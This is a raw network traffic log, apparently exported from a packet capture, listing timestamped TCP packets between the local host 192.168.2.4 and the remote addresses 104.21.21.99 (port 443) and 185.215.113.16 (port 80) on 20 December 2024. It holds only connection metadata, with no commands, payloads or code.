Dec 20, 2024 17:10:42.766910076 CET	443	49734	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:42.767340899 CET	443	49734	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:42.768699884 CET	49734	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:42.768831968 CET	49734	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:42.768881083 CET	443	49734	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:42.768975973 CET	49734	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:42.768995047 CET	443	49734	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:43.725644112 CET	443	49734	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:43.725773096 CET	443	49734	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:43.725840092 CET	49734	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:43.725925922 CET	49734	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:43.725969076 CET	443	49734	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:44.276329041 CET	49735	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:44.276376009 CET	443	49735	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:44.276427031 CET	49735	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:44.276732922 CET	49735	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:44.276745081 CET	443	49735	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:45.497415066 CET	443	49735	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:45.498855114 CET	49735	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:45.498855114 CET	49735	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:45.498872042 CET	443	49735	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:45.499229908 CET	443	49735	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:45.501090050 CET	49735	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:45.501090050 CET	49735	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:45.501123905 CET	443	49735	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:46.259258032 CET	443	49735	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:46.259362936 CET	443	49735	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:46.259569883 CET	49735	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:46.259799004 CET	49735	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:46.259829998 CET	443	49735	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:46.728934050 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:46.729043961 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:46.729223013 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:46.729542971 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:46.729583025 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:47.992392063 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:47.992496014 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:47.994335890 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:47.994349957 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:47.994569063 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:48.002523899 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:48.003282070 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:48.003329992 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:48.003451109 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:48.003488064 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:48.003592014 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:48.003629923 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:48.003743887 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:48.003771067 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:48.003906012 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:48.003937006 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:48.004076004 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:48.004107952 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:48.004122972 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:48.004251957 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:48.004286051 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:48.051359892 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:48.051662922 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:48.051731110 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:48.051783085 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:48.099335909 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:48.099508047 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:48.099554062 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:48.099579096 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:48.143347025 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:48.143507004 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:48.187349081 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:48.364423990 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:51.819006920 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:51.819118977 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:51.819175959 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:51.819329023 CET	49737	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:51.819351912 CET	443	49737	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:51.901189089 CET	49742	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:51.901251078 CET	443	49742	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:51.901321888 CET	49742	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:51.902059078 CET	49742	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:51.902077913 CET	443	49742	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:53.119380951 CET	443	49742	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:53.119450092 CET	49742	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:53.122889042 CET	49742	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:53.122900963 CET	443	49742	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:53.123322964 CET	443	49742	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:53.129865885 CET	49742	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:53.129882097 CET	49742	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:53.129945040 CET	443	49742	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:53.880733967 CET	443	49742	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:53.880825043 CET	443	49742	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:53.880880117 CET	49742	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:53.885365009 CET	49742	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:53.885390043 CET	443	49742	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:53.885411024 CET	49742	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:53.885416985 CET	443	49742	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:53.959342003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:54.080498934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:54.080581903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:54.080765009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:54.200963974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.423928976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.423964024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.423979998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.424212933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.424242973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.424264908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.424302101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.424334049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.424350977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.424366951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.424381971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.424413919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.424969912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.424984932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.425041914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.548242092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.553714037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.553769112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.553806067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.602886915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.615855932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.615935087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.616024017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.618248940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.618314981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.618488073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.626718044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.626823902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.626948118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.635119915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.635175943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.635277033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.643537045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.643631935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.643738031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.651850939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.651920080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.651990891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.660383940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.660480976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.660554886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.668656111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.668703079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.668755054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.677021980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.677185059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.677228928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.685386896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.685473919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.685527086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.693783045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.743520975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.786832094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.786921978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.787067890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.790915966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.807944059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.807977915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.808016062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.809216022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.809297085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.809319973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.813644886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.813698053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.813718081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.818090916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.818150997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.818167925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.822611094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.822694063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.822747946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.826858044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.826915026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.826975107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.831226110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.831274986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.831377983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.835583925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.835635900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.835650921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.839920998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.839965105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.840039015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.844321012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.844364882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.844418049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.848737001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.848792076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.848819017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.853243113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.853317022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.853329897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.857541084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.857582092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.857593060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.861922026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.861963987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.861994028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.866317034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.866365910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.866532087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.870781898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.870821953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.870836973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.875125885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.875222921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.875243902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.879542112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.879596949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.879643917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.906933069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.907011986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.907057047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.909326077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.909365892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.909396887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.913516045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.913587093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.978529930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.978584051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.978636026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.980556965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.980667114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.980846882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:55.985069990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.999808073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.999865055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:55.999923944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.001386881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.001446962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.001987934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.002104044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.002155066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.005481958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.005645990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.005702019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.008141041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.008196115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.008244038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.011508942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.011646032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.011720896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.014952898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.015038967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.015089989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.018381119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.018476009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.018528938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.021786928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.021843910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.021893024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.025228024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.025341988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.025396109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.028660059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.028714895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.028778076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.032056093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.032169104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.032227039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.035641909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.035722971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.035778046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.037728071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.037955999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.038014889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.039824963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.039978981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.040039062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.041888952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.042015076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.042071104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.044095039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.044208050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.044271946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.046371937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.046425104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.046484947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.048409939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.048463106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.048532009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.050381899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.050482988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.050535917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.052553892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.052699089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.052757978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.054599047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.054718018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.054776907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.056772947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.056926012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.056992054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.058813095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.058933973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.058996916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.061152935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.061204910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.061263084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.063086987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.063165903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.063225031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.065196037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.065304041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.065366983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.067284107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.067404985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.067470074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.069384098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.069482088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.069538116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.071506023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.071623087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.071680069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.171303034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.171376944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.171493053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.171643019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.171804905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.171858072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.173770905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.173939943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.174010992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.175791025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.176094055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.176163912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.177541971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.177653074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.177707911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.179689884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.179758072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.179812908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.191739082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.191771984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.191862106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.192218065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.192270041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.192322016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.193979025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.194060087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.194118023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.195348024 CET	80	49744	185.215.113.16	192.168.2.4
